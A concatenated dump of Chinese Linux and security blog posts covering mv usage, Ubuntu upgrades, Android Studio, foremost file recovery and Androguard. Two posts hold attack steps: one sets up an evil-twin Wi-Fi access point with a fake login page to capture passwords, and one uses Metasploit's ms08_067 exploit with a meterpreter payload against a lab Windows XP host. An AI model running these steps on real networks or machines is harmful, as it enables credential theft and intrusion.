使用VPN加密连接;顺带还能翻墙。实际上也不是100%可靠,SSH服务器和目标之间还可以做手脚。 91 | * 密码要勤换,千万不要万年不变。 92 | * 感觉网络无安全,既要防黑、还要防朝廷。 -------------------------------------------------------------------------------- /_posts/2016-3-26-linux-mv-example.md: -------------------------------------------------------------------------------- 1 | --- 2 | layout: post 3 | title: Linux mv命令使用示例-移动或重命令文件/目录 4 | --- 5 | 6 | mv命令和cp命令类似,但是它不复制文件/目录。这个命令默认安装在Linux系统中,不管你使用的什么发型版。下面列举了mv命令的基本使用。 7 | 8 | ### \#1) 移动文件 9 | 10 | 把 **test.jpg** 文件移动到 **~/Pictures** 目录: 11 | 12 | {% highlight shell %} 13 | $ mv test.jpg ~/Pictures 14 | {% endhighlight %} 15 | 16 | ### \#2) 移动多个文件 17 | 18 | 如果你想一次移动多个文件,例如,把 **test1.jpg、test2.jpg、test3.jpg** 移动到 **~/Pictures** 目录: 19 | 20 | {% highlight shell %} 21 | $ mv test1.jpg test2.jpg test3.jpg ~/Pictures 22 | {% endhighlight %} 23 | 24 | 你也可以使用模式匹配,例如,把当前目录所有jpg文件移动到 **~/Pictures** 目录: 25 | 26 | {% highlight shell %} 27 | $ mv *.jpg ~/Pictures 28 | {% endhighlight %} 29 | 30 | ### \#3) 移动目录 31 | 32 | {% highlight shell %} 33 | $ mv dir1/ dir2/ 34 | {% endhighlight %} 35 | 36 | 把 **dir1、dir2** 移动到 **dir3** 中: 37 | 38 | {% highlight shell %} 39 | $ mv dir1/ dir2/ dir3/ 40 | {% endhighlight %} 41 | 42 | ### \#4) 重命名文件 43 | 44 | mv命令也可以用来重命名文件。为了做到这一点,需要目标文件路径和源文件路径相同,并且文件名不能相同。 45 | 46 | 把 **test.jpg** 重命名为 **abc.jpg**: 47 | 48 | {% highlight shell %} 49 | $ mv test.jpg abc.jpg 50 | {% endhighlight %} 51 | 52 | 如果使用绝对路径,看起看这样: 53 | 54 | {% highlight shell %} 55 | $ mv /home/bibi/test.jpg /home/bibi/abc.jpg 56 | {% endhighlight %} 57 | 58 | ### \#5) 重命名目录 59 | 60 | 同上面的重命名文件类似: 61 | 62 | {% highlight shell %} 63 | $ mv dir1/ dir2/ 64 | {% endhighlight %} 65 | 66 | ### \#6) 查看mv的输出信息 67 | 68 | 当你移动大文件或目录时,你想知道移动是否成功,使用 **-v** 选项: 69 | 70 | ![Ubuntu 16.04 update]({{ site.baseurl }}/images/2016/3/Screen Shot 2016-03-26 at 18.57.30.png) 71 | 72 | ### \#7) 使用交互模式 73 | 74 | 当你移动一个文件到另一个目录时,如果目标目录已经有了一个同名文件,mv默认会覆盖文件,不会有任何提示信息。我们可以使用 **-i** 选项: 75 | 76 | ~/目录中已有一个叫test1.txt的文件 77 | 78 | {% highlight shell %} 79 | $ mv -i test.txt ~/ 80 | {% endhighlight %} 81 | 82 | ![Ubuntu 16.04 update]({{ site.baseurl }}/images/2016/3/Screen Shot 2016-03-26 at 19.06.37.png) 83 | 84 | 按y覆盖文件,否则不覆盖。 85 | 86 | ### \#8) 使用-U选项 87 | 88 | 如果目标文件没有要移动的文件新,那么移动文件,否则,不移动文件。 89 | 90 | {% highlight shell %} 91 | $ mv -uv *.txt ~/ 92 | {% endhighlight %} 93 | 94 | ### \#9) 不要覆盖任何已存在的文件 95 | 96 | 使用 -n 选项: 97 | 98 | {% highlight shell %} 99 | $ mv -vn *.txt ~/ 100 | {% endhighlight %} 101 | 102 | ### \#10) 当目标文件已存在,备份这个文件,然后再移动 103 | 104 | 这可以防止不小心覆盖文件,导致数据丢失。 105 | 106 | 使用 -b 选项: 107 | 108 | {% highlight shell %} 109 | $ mv -bv *.txt ~/ 110 | {% endhighlight %} 111 | 112 | 备份的文件以 **~** 结尾。 113 | 114 | ****** 115 | 116 | 更多帮助,查看man手册: 117 | 118 | {% highlight shell %} 119 | $ man mv 120 | {% endhighlight %} -------------------------------------------------------------------------------- /_posts/2016-3-26-upgrade-to-ubuntu-16_04-LTS.md: -------------------------------------------------------------------------------- 1 | --- 2 | layout: post 3 | title: Ubuntu 14.04升级到Ubuntu 16.04 4 | --- 5 | 6 | 下面记录了从Ubuntu 14.04/15.10升级到Ubuntu 16.04的步骤。 7 | 8 | 在升级系统之前,我们先更新一下系统。打开终端执行如下命令: 9 | 10 | {% highlight shell %} 11 | $ sudo apt-get update 12 | $ sudo apt-get dist-upgrade 13 | {% endhighlight %} 14 | 15 | 上面命令会下载安装最新的内核和软件包。 16 | 17 | 重启系统完成安装: 18 | 19 | {% highlight shell %} 20 | $ sudo reboot 21 | {% endhighlight %} 22 | 23 | 执行如下命令打开更新管理器: 24 | 25 | {% highlight shell %} 26 | $ sudo update-manager -d 27 | {% endhighlight %} 28 | 29 | 它会自动查找最新可用版本,如下图: 30 | 31 | ![Ubuntu 16.04 update]({{ site.baseurl }}/images/2016/3/Screen Shot 2016-03-26 at 09.27.58.png) 32 | 33 | 从上图可以看到,我使用的系统版本是14.04,可以升级到版本是16.04。点击Upgrade升级。 34 | 35 | ![Ubuntu 16.04 update]({{ site.baseurl }}/images/2016/3/Screen Shot 2016-03-26 at 09.31.55.png) 36 | 37 | ![Ubuntu 16.04 update]({{ site.baseurl }}/images/2016/3/Screen Shot 2016-03-26 at 09.35.05.png) 38 | 39 | 等待安装完成,之后重启系统。 40 | 41 | ![Ubuntu 16.04 update]({{ site.baseurl }}/images/2016/3/Screen Shot 2016-03-26 at 09.36.37.png) 42 | 43 | 升级到Ubuntu 16.04: 44 | 45 | ![Ubuntu 16.04 update]({{ site.baseurl }}/images/2016/3/Screen Shot 2016-03-26 at 10.36.54.png) 46 | 47 | ********** 48 | 49 | # 升级Ubuntu Server 50 | 51 | 前面我升级的是Ubuntu桌面版,下面我们来升级Ubuntu服务器版。 52 | 53 | **Ubuntu 14.04/15.10 Server**升级到**Ubuntu 16.04 Server**。 54 | 55 | 如果你的系统中没有安装update-manager-core软件包,安装它: 56 | 57 | {% highlight shell %} 58 | $ sudo apt-get install update-manager-core 59 | {% endhighlight %} 60 | 61 | 编辑文件_/etc/update-manager/release-upgrades_: 62 | 63 | {% highlight shell %} 64 | $ sudo vim /etc/update-manager/release-upgrades 65 | {% endhighlight %} 66 | 67 | 我的server系统是Ubuntu 15.10,设置Prompt=normal: 68 | 69 | ![Ubuntu 16.04 update]({{ site.baseurl }}/images/2016/3/Screen Shot 2016-03-26 at 10.17.34.png) 70 | 71 | * Normal:检查新版本,如果有多个新版本可以升级,系统试图升级离当前使用的版本最近的。 72 | * LTS:检查长期支持新版本,如果当前版本不为LTS,不要使用它。 73 | 74 | 如果你的系统是Ubuntu 14.04 Server,设置Prompt=lts。 75 | 76 | 在升级系统之前,我们先更新一下系统。打开终端执行如下命令: 77 | 78 | {% highlight shell %} 79 | $ sudo apt-get update && sudo apt-get dist-upgrade 80 | {% endhighlight %} 81 | 82 | 重启系统: 83 | 84 | {% highlight shell %} 85 | $ sudo reboot 86 | {% endhighlight %} 87 | 88 | 如果你和我一样,使用ssh登录服务器升级,建议使用screen,防止SSH连接断开。 89 | 90 | 安装screen: 91 | 92 | {% highlight shell %} 93 | $ sudo apt-get install screen 94 | {% endhighlight %} 95 | 96 | 启动screen: 97 | 98 | {% highlight shell %} 99 | $ screen 100 | {% endhighlight %} 101 | 102 | 升级Ubuntu: 103 | 104 | {% highlight shell %} 105 | $ sudo do-release-upgrade -d 106 | {% endhighlight %} 107 | 108 | 根据提示,一路Y,Y,Y。。。 109 | 110 | 等待升级完成。 -------------------------------------------------------------------------------- /_posts/kali-linux-evil-twin-access-point.md: -------------------------------------------------------------------------------- 1 | --- 2 | layout: post 3 | title: 山寨wifi接入点 4 | --- 5 | 6 | 有一种攻击叫evil twin无线接入攻击,通过将无线网络设置伪装成合法的无线网络名称来实施。通常,双胞胎无线接入点总是缺乏安全特性的,对于用户来说它就像一个正常的wifi热点。 7 | 8 | 不法分子用这种方法可以截获连接到这个"wifi"用户的敏感数据,也能骗取Wifi认证密码,附带各种恶搞。 9 | 10 | * [在Wifi网络中嗅探明文密码(HTTP POST请求、POP等)](http://topspeedsnail.com/wireshark-hack-http-post-password/) 11 | 12 | ### 安装isc-dhcp-server 13 | 14 | 这是一个dhcp服务程序,为连接到wifi的用户分配ip。 15 | 16 | {% highlight shell %} 17 | # apt-get install isc-dhcp-server 18 | {% endhighlight %} 19 | 20 | ### 配置Apache2 21 | 22 | 在用户连接到wifi之后,负责发送假的认证网页。 23 | 24 | 创建网站目录: 25 | 26 | {% highlight shell %} 27 | # mkdir /var/www/public_html 28 | {% endhighlight %} 29 | 30 | 编辑: 31 | 32 | {% highlight shell %} 33 | # vim /etc/apache2/mods-available/userdir.conf 34 | {% endhighlight %} 35 | 36 | ![山寨wifi接入点]({{ site.baseurl }}/images/2016/5/Screenshot from 2016-05-06 15-20-31.png) 37 | 38 | 重启Apache: 39 | 40 | {% highlight shell %} 41 | # systemctl restart apache2 42 | {% endhighlight %} 43 | 44 | ### 配置isc-dhcp-server 45 | 46 | {% highlight shell %} 47 | # vim /etc/dhcp/dhcpd.conf 48 | {% endhighlight %} 49 | 50 | 在文件中添加: 51 | 52 | ``` 53 | authoritative; 54 | default-lease-time 600; 55 | max-lease-time 7200; 56 | subnet 192.168.1.0 netmask 255.255.255.0 57 | { 58 | option subnet-mask 255.255.255.0; 59 | option broadcast-address 192.168.1.255; 60 | option routers 192.168.1.1; 61 | option domain-name-servers 8.8.8.8; 62 | range 192.168.1.1 192.168.1.100; 63 | } 64 | ``` 65 | 66 | ### 解决airmon-ng和Network Manager的冲突 67 | 68 | {% highlight shell %} 69 | # vim /etc/NetworkManager/NetworkManager.conf 70 | {% endhighlight %} 71 | 72 | 在文件尾添加: 73 | 74 | ``` 75 | [keyfile] 76 | unmanaged-devices=interface-name:wlan0mon;interface-name:wlan1mon;interface-name:wlan2mon;interface-name:wlan3mon;interface-name:wlan4mon;interface-name:wlan5mon;interface-name:wlan6mon;interface-name:wlan7mon;interface-name:wlan8mon;interface-name:wlan9mon;interface-name:wlan10mon;interface-name:wlan11mon;interface-name:wlan12mon 77 | ``` 78 | 79 | ### 无线网卡的监控模式 80 | 81 | {% highlight shell %} 82 | # ifconfig wlan0 down # 关闭无线网卡 83 | # macchanger -r wlan0 # 更改mac地址;随机 84 | # airmon-ng check kill 85 | # airmon-ng start wlan0 # 启动无线网卡的监控模式 86 | {% endhighlight %} 87 | 88 | 找到一个要山寨的wifi热点 89 | 90 | {% highlight shell %} 91 | # airodump-ng wlan0mon 92 | {% endhighlight %} 93 | 94 | 记住AP名和频道。 95 | 96 | ### 山寨一个wifi 97 | 98 | {% highlight shell %} 99 | # airbase-ng -e "test" -c 6 wlan0mon 100 | {% endhighlight %} 101 | 102 | ifconfig at0 103 | 104 | 105 | 106 | 107 | 108 | 109 | 110 | 111 | 112 | -------------------------------------------------------------------------------- /_posts/2016-3-25-ubuntu-install-android-studio.md: -------------------------------------------------------------------------------- 1 | --- 2 | layout: post 3 | title: 在Ubuntu上安装Android Studio 4 | --- 5 | 6 | 什么是Android Studio? 7 | 8 | **Android Studio** 是google官方的集成开发环境(IDE),它是用来开发Android应用程序的,基于 [IntelliJ IDEA](https://www.jetbrains.com/idea/) 9 | 10 | **在Ubuntu上安装Android Studio** 11 | 12 | 最简单的方法是使用PPA。多谢webupd8team制作的PPA。 13 | 14 | Android Studio的需要JDK 7或JDK 8。 让我们先来安装JDK。 15 | 16 | 执行如下命令,添加PPA: 17 | 18 | {% highlight shell %} 19 | $ sudo add-apt-repository ppa:webupd8team/java 20 | {% endhighlight %} 21 | 22 | {% highlight shell %} 23 | $ sudo apt-get update 24 | {% endhighlight %} 25 | 26 | 安装JDK 7: 27 | 28 | {% highlight shell %} 29 | $ sudo apt-get install oracle-java7-installer 30 | {% endhighlight %} 31 | 32 | 如果你要使用JDK 8,执行: 33 | 34 | {% highlight shell %} 35 | sudo apt-get install oracle-java8-installer 36 | {% endhighlight %} 37 | 38 | 安装过程中需要接受协议,选择OK: 39 | 40 | ![jdk 7]({{ site.baseurl }}/images/2016/3/Screen Shot 2016-03-25 at 16.06.57.png) 41 | 42 | 选择Yes: 43 | 44 | ![jdk 7]({{ site.baseurl }}/images/2016/3/Screen Shot 2016-03-25 at 16.09.06.png) 45 | 46 | 等待安装完成。 47 | 48 | 安装完之后,检查JDK是否正确安装。查看Jdk版本: 49 | 50 | {% highlight shell %} 51 | $ java -version 52 | {% endhighlight %} 53 | 54 | 你应该能看到java版本信息: 55 | 56 | ``` 57 | java version "1.7.0_80" 58 | Java(TM) SE Runtime Environment (build 1.7.0_80-b15) 59 | Java HotSpot(TM) 64-Bit Server VM (build 24.80-b11, mixed mode) 60 | ``` 61 | 62 | 下面我们来安装Android Studio,添加PPA: 63 | 64 | {% highlight shell %} 65 | $ sudo add-apt-repository ppa:paolorotolo/android-studio 66 | {% endhighlight %} 67 | 68 | {% highlight shell %} 69 | $ sudo apt-get update 70 | {% endhighlight %} 71 | 72 | 安装Android Studio: 73 | 74 | {% highlight shell %} 75 | $ sudo apt-get install android-studio 76 | {% endhighlight %} 77 | 78 | 安装完成之后,从菜单启动Android Studio(如果菜单没有,可以重启试试)。在第一次启动时,Android Studio会启动一个设置向导,引导你完成adnroid sdk、android模拟器和其他组件的下载和安装。 79 | 80 | ![Android Studio]({{ site.baseurl }}/images/2016/3/Screen Shot 2016-03-25 at 21.57.22.png) 81 | 82 | Next: 83 | 84 | ![Android Studio]({{ site.baseurl }}/images/2016/3/Screen Shot 2016-03-25 at 21.58.24.png) 85 | 86 | Next: 87 | 88 | ![Android Studio]({{ site.baseurl }}/images/2016/3/Screen Shot 2016-03-25 at 21.59.28.png) 89 | 90 | Next: 91 | 92 | ![Android Studio]({{ site.baseurl }}/images/2016/3/Screen Shot 2016-03-25 at 22.00.23.png) 93 | 94 | Finish: 95 | 96 | ![Android Studio]({{ site.baseurl }}/images/2016/3/Screen Shot 2016-03-25 at 22.01.24.png) 97 | 98 | 等待andorid sdk安装完成。 99 | 100 | Android studio的样子: 101 | 102 | ![Android Studio]({{ site.baseurl }}/images/2016/3/Screen Shot 2016-03-25 at 22.02.57.png) 103 | 104 | 现在,开始开发android app吧。 -------------------------------------------------------------------------------- /_posts/2016-5-9-foremost-recover-del-file.md: -------------------------------------------------------------------------------- 1 | --- 2 | layout: post 3 | title: 使用foremost恢复删除的文件 4 | --- 5 | 6 | foremost是一个根据文件头和内部数据恢复文件的一个工具。 7 | 8 | > Recover files using their headers, footers, and data structures. 9 | 10 | 最初代码是由美国空军特别调查办公室(OSI)的两个调查员编写的,主要是为了犯罪调查。 11 | 12 | 它可以恢复的文件类型: 13 | 14 | ``` 15 | jpg Support for the JFIF and Exif formats including implementations 16 | used in modern digital cameras. 17 | gif 18 | png 19 | bmp Support for windows bmp format. 20 | avi 21 | exe Support for Windows PE binaries, will extract DLL and EXE files 22 | along with their compile times 23 | mpg Support for most MPEG files (must begin with 0x000001BA) 24 | wav 25 | riff This will extract AVI and RIFF since they use the same file for‐ 26 | mat (RIFF). note faster than running each separately. 27 | wmv Note may also extract wma files as they have similar format. 28 | mov 29 | pdf 30 | ole This will grab any file using the OLE file structure. This 31 | includes PowerPoint, Word, Excel, Access, and StarWriter 32 | doc Note it is more efficient to run OLE as you get more bang for 33 | your buck. If you wish to ignore all other ole files then use 34 | this. 35 | zip Note is will extract .jar files as well because they use a simi‐ 36 | lar format. Open Office docs are just zip'd XML files so they 37 | are extracted as well. These include SXW, SXC, SXI, and SX? for 38 | undetermined OpenOffice files. Office 2007 files are also XML 39 | based (PPTX,DOCX,XLSX) 40 | rar 41 | htm 42 | cpp C source code detection, note this is primitive and may generate 43 | documents other than C code. 44 | mp4 Support for MP4 files. 45 | all Run all pre-defined extraction methods. [Default if no -t is 46 | specified] 47 | ``` 48 | 49 | Kali Linux默认安装了foremost;如果你使用的是Ubuntu,可以执行如下命令安装: 50 | 51 | {% highlight shell %} 52 | # apt-get install foremost 53 | {% endhighlight %} 54 | 55 | ### 使用foremost恢复文件 56 | 57 | 假如你误删了一个png文件: 58 | 59 | {% highlight shell %} 60 | # rm -f test.png 61 | {% endhighlight %} 62 | 63 | 恢复: 64 | 65 | {% highlight shell %} 66 | # foremost -t png -i /dev/sda1 67 | {% endhighlight %} 68 | 69 | 恢复的文件默认保存在当前的output目录。 70 | 71 | 如果你不知道要恢复的文件在哪个分区,可以使用mount命令查看。 72 | 73 | 注:它也支持Windows的文件系统;如果文件所在的硬盘块区已经被其他数据覆盖,那么这个文件就不可恢复了。 74 | 75 | 如果硬盘很大也许需要用很长时间执行。执行完成之后,去output目录找到已恢复的文件。 76 | 77 | output根目录有一个audit.txt的文件,它保存了foremost执行的汇总信息。 78 | 79 | ***** 80 | 81 | 如果要恢复所有支持的文件,使用all: 82 | 83 | {% highlight shell %} 84 | # foremost -t all -i /dev/sda1 85 | {% endhighlight %} 86 | 87 | 关于foremost的更多信息,查看帮助: 88 | 89 | {% highlight shell %} 90 | # man foremost 91 | {% endhighlight %} -------------------------------------------------------------------------------- /_posts/2016-4-16-reversing-engineering-android-androguard.md: -------------------------------------------------------------------------------- 1 | --- 2 | layout: post 3 | title: Android逆向工具:Androguard(一) 4 | --- 5 | 6 | 本文介绍一下Androguard的安装和使用。 7 | 8 | ### 什么是Androguard? 9 | 10 | Androguard是使用Python编写的逆向工具,它可以在多个平台上运行-Linux/Windows/OSX。使用它可以反编译android应用,也可以用来做android app的静态分析(static analysis)。 11 | 12 | ### 下载安装Androguard 13 | 14 | 这里只介绍了在Linux上的安装步骤。我使用的是Kali Linux,其他Linux发行版同样适用。 15 | 16 | 确保系统中已安装了Python;一般Linux系统都自带Python。 17 | 18 | 安装IPython和pygments: 19 | 20 | {% highlight shell %} 21 | # pip install ipython 22 | # pip install pygments 23 | {% endhighlight %} 24 | 25 | Androguard的源码托管在github,使用git clone下载源码: 26 | 27 | {% highlight shell %} 28 | # git clone https://github.com/androguard/androguard.git 29 | {% endhighlight %} 30 | 31 | 安装androguard: 32 | 33 | {% highlight shell %} 34 | # cd androguard 35 | # python setup.py install 36 | {% endhighlight %} 37 | 38 | 我在使用最新源码时,遇到如下错误: 39 | 40 | > Python.utils.traitlets.TraitError: The 'config' trait of an InteractiveShellEmbed instance must be a Config or None, but a value of class 'traitlets.config.loader.Config' (i.e. {}) was specified. 41 | 42 | 使用v2.0版本没有问题: 43 | 44 | {% highlight shell %} 45 | # git checkout v2.0 (最新稳定版本是v2.0) 46 | # python setup.py install 47 | {% endhighlight %} 48 | 49 | ### 使用Androguard反编译一个应用程序 50 | 51 | Androguard支持3个反编译工具: 52 | 53 | * DAD 54 | * dex2jar + jad 55 | * DED 56 | 57 | 下面我使用DAD反编译一个android应用: 58 | 59 | 1)运行androlyze: 60 | 61 | {% highlight shell %} 62 | # androlyze.py -s 63 | {% endhighlight %} 64 | 65 | ![Androguard]({{ site.baseurl }}/images/2016/4/Screenshot from 2016-04-16 17-35-41.png) 66 | 67 | 2)反编译apk文件 68 | 69 | {% highlight python %} 70 | a,d,dx = AnalyzeAPK("path/apk", decompiler="dad") 71 | {% endhighlight %} 72 | 73 | 3)查看app的所有Activity 74 | 75 | {% highlight python %} 76 | a.get_activities() 77 | {% endhighlight %} 78 | 79 | ![Androguard]({{ site.baseurl }}/images/2016/4/Screenshot from 2016-04-16 17-44-59.png) 80 | 81 | 4)查看应用的权限 82 | 83 | {% highlight python %} 84 | a.get_permissions() 85 | {% endhighlight %} 86 | 87 | ![Androguard]({{ site.baseurl }}/images/2016/4/Screenshot from 2016-04-16 17-48-25.png) 88 | 89 | 5)其他方法 90 | 91 | 获得程序中所有类名: 92 | 93 | {% highlight python %} 94 | d.get_classes_names() 95 | {% endhighlight %} 96 | 97 | 获得程序中定义的字符串: 98 | 99 | {% highlight python %} 100 | d.get_strings() 101 | {% endhighlight %} 102 | 103 | 获得程序中定义方法: 104 | 105 | {% highlight python %} 106 | d.get_methods() 107 | {% endhighlight %} 108 | 109 | **** 110 | 111 | Androguard文档:http://doc.androguard.re/html/index.html 112 | 113 | **** 114 | 115 | [Android逆向工具:Androguard(二)](http://topspeedsnail.com/reversing-engineering-android-androguard2/) 116 | 117 | [移除Android应用广告-Android逆向工程](http://topspeedsnail.com/android-reversing-remove-ad/) 118 | 119 | [Android逆向工程基本环境设置](http://topspeedsnail.com/android-reversing-env-setup/) -------------------------------------------------------------------------------- /_posts/2016-4-15-kali-linux-metasploit-base-use.md: -------------------------------------------------------------------------------- 1 | --- 2 | layout: post 3 | title: Metasploit的基本使用 4 | --- 5 | 6 | [Metasploit](https://www.metasploit.com)可以在Linux、Windows和Mac OS X系统上运行。我假设你已安装了Metasploit,或者你使用的系统是Kali Linux。它有命令行接口也有GUI接口。 7 | 8 | 我使用的系统是Kali Linux,本文以这个系统为例。 9 | 10 | 图形用户界面接口:Armitage 11 | 12 | ![armitage]({{ site.baseurl }}/images/2016/4/Screenshot from 2016-04-15 12-00-27.png) 13 | 14 | 命令行接口:msfconsole 15 | 16 | {% highlight shell %} 17 | # msfconsole 18 | {% endhighlight %} 19 | 20 | ![msfconsole]({{ site.baseurl }}/images/2016/4/Screenshot from 2016-04-15 12-08-45.png) 21 | 22 | 使用metasploit的基本步骤: 23 | 24 | * 运行msfconsole 25 | * 确定远程主机 26 | * 找到一个漏洞并使用这个漏洞 27 | * 配置漏洞选项 28 | * 入侵远程主机 29 | 30 | metasploit内建了很多文档,查看方法: 31 | 32 | {% highlight shell %} 33 | msf > help 34 | 35 | msf > help search 36 | {% endhighlight %} 37 | 38 | ********* 39 | 40 | 获得远程主机信息 41 | 42 | 你可以在mfs中运行nmap命令: 43 | 44 | {% highlight shell %} 45 | msf > nmap -v -sV some_host 46 | {% endhighlight %} 47 | 48 | 也可以使用db_nmap,结果输出到metasploit数据库: 49 | 50 | {% highlight shell %} 51 | msf > db_nmap -v -sV some_host 52 | {% endhighlight %} 53 | 54 | 更多扫描工具: 55 | 56 | {% highlight shell %} 57 | msf > search portscan 58 | {% endhighlight %} 59 | 60 | 列出db_nmap找到的主机: 61 | 62 | {% highlight shell %} 63 | msf > hosts 64 | {% endhighlight %} 65 | 66 | 把这些主机加入到目标主机: 67 | 68 | {% highlight shell %} 69 | msf > hosts -R 70 | {% endhighlight %} 71 | 72 | 也可以使用set RHOST your_target_ip设置目标IP。 73 | 74 | 这一步的目的是获得要目标主机的系统信息,为下一步选择漏洞和利用漏洞做准备。 75 | 76 | 其他扫描漏洞的工具:lynix、maltego、wp-scan等等。 77 | 78 | * [安装使用lynis扫描Linux的安全漏洞](http://topspeedsnail.com/How-to-use-lynis-on-linux/) 79 | * [Wordpress:使用WPScan检测易受攻击的插件和主题](http://blog.topspeedsnail.com/archives/2267) 80 | 81 | ******** 82 | 83 | 显示metasploit中所有可以利用的模块: 84 | 85 | {% highlight shell %} 86 | msf > show 87 | msf > show auxiliary 88 | msf > show exploits 89 | msf > show payloads 90 | msf > show encoders 91 | msf > show nops 92 | {% endhighlight %} 93 | 94 | 搜索可以利用的漏洞: 95 | 96 | {% highlight shell %} 97 | msf > search type:exploit 98 | msf > search CVE-xxxx-xxx 99 | msf > search cve:2014 100 | msf > search name:wordpress 101 | msf > search name:mysql 102 | msf > search path:scada 103 | msf > search platform:aix 104 | msf > search type:post 105 | msf > search windows type:exploit 106 | ... 107 | {% endhighlight %} 108 | 109 | 使用一个漏洞: 110 | 111 | {% highlight shell %} 112 | msf > use exploit/path/to/exploit_name 113 | {% endhighlight %} 114 | 115 | 设置payload: 116 | 117 | {% highlight shell %} 118 | msf > show payloads 119 | msf > set payload path/to/payload 120 | {% endhighlight %} 121 | 122 | 入侵: 123 | 124 | {% highlight shell %} 125 | msf > exploit 126 | {% endhighlight %} 127 | 128 | 如果没有成功,重新选择漏洞。 129 | 130 | ### 例子: 131 | 132 | ***** 133 | 134 | [演示使用Metasploit入侵Windows](http://topspeedsnail.com/kali-linux-n-hack-windows-xp/) 135 | 136 | [演示使用Metasploit入侵Android](http://topspeedsnail.com/kali-linux-metasploit-hack-android/) -------------------------------------------------------------------------------- /_posts/2016-4-17-reversing-engineering-android-androguard2.md: -------------------------------------------------------------------------------- 1 | --- 2 | layout: post 3 | title: Android逆向工具:Androguard(二) 4 | --- 5 | 6 | 在[Android逆向工具:Androguard(一)](http://topspeedsnail.com/reversing-engineering-android-androguard/)中我们安装了Androguard并且使用基本的命令反编译了apk文件。在这一部分,我将介绍更过Androguard工具: 7 | 8 | * Androaxml 9 | * Androsim 10 | * Androdd 11 | * Apkviewer 12 | * Androguard GUI 13 | 14 | ## Androaxml 15 | 16 | 在做逆向时,AndroidManifest.xml是最重要的文件。使用Androguard中的Androaxml工具,我们可以轻易的获得这个文件。它其实是把二进制格式的XML文件转换为了人可以读的格式。 17 | 18 | 语法: 19 | 20 | {% highlight shell %} 21 | # androaxml.py -i -o 22 | {% endhighlight %} 23 | 24 | 以实际app为例: 25 | 26 | {% highlight shell %} 27 | # androaxml.py -i test.apk -o output.xml 28 | # vim output.xml 29 | {% endhighlight %} 30 | 31 | ![androaxml]({{ site.baseurl }}/images/2016/4/Screenshot from 2016-04-17 18-35-43.png) 32 | 33 | ## Androsim - 比较两个apk的相似度 34 | 35 | 可以用来比较原始的apk和修改后的apk。 36 | 37 | 在使用Androsim之前,需要安装几个依赖包: 38 | 39 | * [sparsehash](https://github.com/sparsehash/sparsehash) (Linux configure make 标准源码安装方式) 40 | * [muparser](https://github.com/beltoforion/muparser) (看Install.txt) 41 | * [snappy](https://github.com/google/snappy) (./autogen.sh configure make 标准源码安装方式) 42 | * [bzip2](http://bzip.org) 43 | * [zlib](http://zlib.net) 44 | 45 | 比较两个apk文件: 46 | 47 | {% highlight shell %} 48 | # androsim.py -i test.apk test.apk -c ZLIB -n 49 | {% endhighlight %} 50 | 51 | ![Androsim]({{ site.baseurl }}/images/2016/4/Screenshot from 2016-04-17 19-29-33.png) 52 | 53 | 上面是两个相同的apk文件;你可以和移除广告后的apk做对比:[移除Android应用广告-Android逆向工程](http://topspeedsnail.com/android-reversing-remove-ad/) 54 | 55 | * -c:指定压缩的类型 (BZ2, ZLIB, SNAPPY, LZMA, XZ) 56 | * -d:显示方法 57 | 58 | ## Androdd 59 | 60 | 导出apk文件中所有class文件中的方法。 61 | 62 | 安装依赖包: 63 | 64 | * [pydot](https://github.com/erocarrera/pydot) 65 | 66 | {% highlight shell %} 67 | # androdd.py -i -o 68 | {% endhighlight %} 69 | 70 | ![Androdd]({{ site.baseurl }}/images/2016/4/Screenshot from 2016-04-17 20-08-49.png) 71 | 72 | ![Androdd]({{ site.baseurl }}/images/2016/4/Screenshot from 2016-04-17 20-23-18.png) 73 | 74 | 图形输出为.ag文件,如果要输出png格式使用-f选项: 75 | 76 | {% highlight shell %} 77 | # androdd.py -i -o -f png 78 | {% endhighlight %} 79 | 80 | ## Apkviewer 81 | 82 | GraphML是XML格式,用来显示图例和节点:http://www.openthefile.net/extension/graphml 83 | 84 | 下载[yED](http://www.yworks.com/en/downloads.html#yEd)或[Gephi](https://gephi.github.io/users/download/)查看ApkViewer生成的GraphML。 85 | 86 | 安装依赖包: 87 | 88 | * [NetworkX](http://networkx.github.io) (pip install networkx) 89 | 90 | {% highlight shell %} 91 | # apkviewer -i -o 92 | {% endhighlight %} 93 | 94 | ## androgui 95 | 96 | 一个GUI工具。 97 | 98 | 依赖包: 99 | 100 | * PySide (pip install pyside)-需要qt 101 | 102 | {% highlight shell %} 103 | # androgui.py 104 | {% endhighlight %} 105 | 106 | ![androgui]({{ site.baseurl }}/images/2016/4/Screenshot from 2016-04-17 21-53-00.png) 107 | 108 | ***** 109 | 110 | [Android逆向工程基本环境设置](http://topspeedsnail.com/android-reversing-env-setup/) -------------------------------------------------------------------------------- /_posts/2016-4-15-kali-linux-n-hack-windows-xp.md: -------------------------------------------------------------------------------- 1 | --- 2 | layout: post 3 | title: 演示使用Metasploit入侵Windows 4 | --- 5 | 6 | 我使用Kali Linux的IP地址是192.168.0.112;在同一局域网内有一台运行Windows XP(192.168.0.108)的测试电脑。 7 | 8 | 本文演示怎么使用Metasploit入侵windows xp sp3。 9 | 10 | 启动msfconsole: 11 | 12 | {% highlight shell %} 13 | # msfconsole 14 | {% endhighlight %} 15 | 16 | ![msfconsole]({{ site.baseurl }}/images/2016/4/Screenshot from 2016-04-15 15-24-25.png) 17 | 18 | 选择一个漏洞: 19 | 20 | {% highlight shell %} 21 | msf > search platform: windows xp sp3 22 | {% endhighlight %} 23 | 24 | ![msfconsole]({{ site.baseurl }}/images/2016/4/Screenshot from 2016-04-15 17-17-46.png) 25 | 26 | exploit/windows/smb/ms08_067_netapi是08年发现的漏洞,等级Great。 27 | 28 | 查看某个漏洞的详细信息;包含使用方法、支持的平台等等,非常有帮助: 29 | 30 | {% highlight shell %} 31 | msf > info exploit/windows/smb/ms08_067_netapi 32 | {% endhighlight %} 33 | 34 | ![msfconsole]({{ site.baseurl }}/images/2016/4/Screenshot from 2016-04-15 17-24-32.png) 35 | 36 | 依次执行如下命令: 37 | 38 | {% highlight shell %} 39 | msf > use exploit/windows/smb/ms08_067_netapi 40 | > set payload windows/meterpreter/bind_tcp 41 | > set RHOST 192.168.0.108 (设置目标主机IP地址) 42 | > exploit 43 | {% endhighlight %} 44 | 45 | 如果目标主机有这个漏洞的话,你就可以控制它了;如果没有,尝试使用其他漏洞。 46 | 47 | ``` 48 | [*] Started bind handler 49 | [*] Automatically detecting the target... 50 | [*] Fingerprint: Windows XP SP3 - Service Pack 3 - lang:Chinese 51 | [*] Selected Target: Windows XP SP3 Chinese (AlwaysOn NK) 52 | [*] Attempting to trigger the vulnerability... 53 | [*] Sending stage (751104 bytes) to 192.168.0.108 54 | [*] Meterpreter 